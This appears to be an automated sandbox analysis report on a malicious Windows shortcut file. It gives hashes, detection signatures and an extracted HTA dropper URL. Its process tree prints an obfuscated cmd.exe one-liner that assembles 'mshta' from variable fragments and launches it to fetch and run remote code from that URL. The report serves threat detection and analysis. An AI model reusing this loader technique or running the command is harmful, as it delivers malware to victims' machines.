Analysis
- max time kernel
148s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:36
Static task
static1
Behavioral task
behavioral1
Sample
DOC-0KNWC5.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-0KNWC5.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-0KNWC5.lnk
- Size 2KB
- Sample260804-khnsrabl4w
- SHA256 5f00d84641b2416ec9347a7d9e8eeb7da96456f59115b903bfaf2de4ca9536dd
- MD5 1d0a3c6994afcdaf735597faca54d6d6
- SHA1 bfa479bb3c0191133c88af9d068d01c5f512c310
- SHA512 158e390c592636515c44eb0a1a10b4f67805ce0111bdfc913734bd04e0daf06bc7efe0b7c0c6419d18c2dc36918c3018400f6dc456008af2589fe66080023b12
- TLSH T14F5123802AE911E8F3BA9F32EDFE2790497BB9626DB1C54E0C50C14D0812B45E973B66
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5092 cmd.exe 4332 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5092 wrote to memory of 4332 5092 cmd.exe 90 PID 4332 wrote to memory of 5388 4332 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0KNWC5.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5092 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set IiqH=netztdenjbwfgmxfltzoenet&&set NRI=winhhwixkfshmxwin&&set tL=oldbtyhnpcold&&set gJcO=netabugjkhsozzxinet&&set Wdcnn=0vst1&&set Fq=7zawh&&set AAzF=qrtpj&&set pKh=1bmc45&&set nW=31shels&&set gq=jtag&&set lXR=logpdftfctdlog&&set WN=cfgiipdxvcfg&&set gvv=dbgbyactuutukmzgdbg&&set sC=dbgwgkdxucadodbg&&set It=tmpkobmtbwmbjbcxstmp&&set RODns=bakxwvehbak&&set KXaT=dbgqueaaypevyroldljcdbg&&set ia=netfbungykbqgurnnzazynet&&set JpiiG=https:@/@/ma@-pdff@ill@[email protected]@/@h@/e@sta@[email protected]?r@=@3914@6@9FB@5D82@DB&&start /b !pKh:~2,1!!nW:~2,2!!gq:~1,2! !JpiiG:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4332 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:5388
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